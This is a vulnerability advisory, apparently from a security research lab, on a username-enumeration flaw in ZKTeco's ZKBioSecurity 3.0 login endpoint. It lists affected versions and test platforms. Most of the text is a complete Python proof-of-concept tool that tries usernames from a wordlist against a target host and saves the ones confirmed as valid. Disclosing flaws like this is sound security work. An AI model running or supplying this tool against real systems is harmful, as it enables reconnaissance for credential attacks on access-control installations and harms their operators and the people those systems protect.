### Summary
ZKBioSecurity3.0 is the ultimate "All in One" web based security platform developed by ZKTeco. It contains four integrated modules: access control, video linkage, elevator control and visitor management. With an optimized system architecture designed for high level biometric identification and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced solution for a whole new user experience.
### Description
The weakness is caused due to the 'authLoginAction!login.do' script enumerating the list of valid usernames when some characters are provided via the 'username' parameter.
### Vendor
ZKTeco Inc. - http://www.zkteco.com
### Affected Version
* 3.0.1.0_R_230
* Platform: 3.0.1.0_R_230
* Personnel: 1.0.1.0_R_1916
* Access: 6.0.1.0_R_1757
* Elevator: 2.0.1.0_R_777
* Visitor: 2.0.1.0_R_877
* Video:2.0.1.0_R_489
* Adms: 1.0.1.0_R_197
### Tested On
* Microsoft Windows 7 Ultimate SP1 (EN)
* Microsoft Windows 7 Professional SP1 (EN)
* Apache-Coyote/1.1
* Apache Tomcat/7.0.56
### PoC
```
import cookielib
import argparse
import urllib2
import urllib
import json
import sys
from colorama import Fore, Back, Style, init
init()
print '\n-----------------------------------------------'
print 'User Enumeration Tool v0.2 for ZKBioSecurity'
print 'Copyleft (c) 2016, Zero Science Lab'
print 'by lqwrm'
print '-----------------------------------------------\n'
parser = argparse.ArgumentParser()
parser.add_argument('-t', help='target IP or hostname', action='store', dest='target')
parser.add_argument('-f', help='username wordlist', action='store', dest='file')
args = parser.parse_args()
if len(sys.argv) != 5:
parser.print_help()
sys.exit()
host = args.target
fn = args.file
try:
users = open(args.file, 'r')
except(IOError):
print '[!] Error opening \'' +fn+ '\' file.'
sys.exit()
lines = users.read().splitlines()
print '[*] Loaded %d usernames for testing.\n' % len(open(fn).readlines())
users.close()
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
results = open('validusers.txt', 'w')
for line in lines:
chk_usr = urllib.urlencode({'username' : line,
'password' : 'noneed',
'loginType' : 'NORMAL',
'un' : '1470746177485_7049',
'systemCode' : 'visLogin.jsp'
})
try:
xhr = json.load(opener.open('http://'+host+'/authLoginAction!login.do', chk_usr))
except:
print '[!] Error connecting to http://'+host
sys.exit()
print '[+] Testing username: ' +Fore.GREEN+line+Fore.RESET
for key, value in xhr.iteritems():
fnrand = value
break
if fnrand == 'Username or password is error.':
print '[!] Found ' +Style.BRIGHT+Fore.RED+line+Fore.RESET+Style.RESET_ALL+ ' as valid registered user.'
results.write('%s\n' % line)
results.close()
print '\n[*] Enumeration completed!'
print '[*] Valid usernames successfully written to \'validusers.txt\' file.'
```
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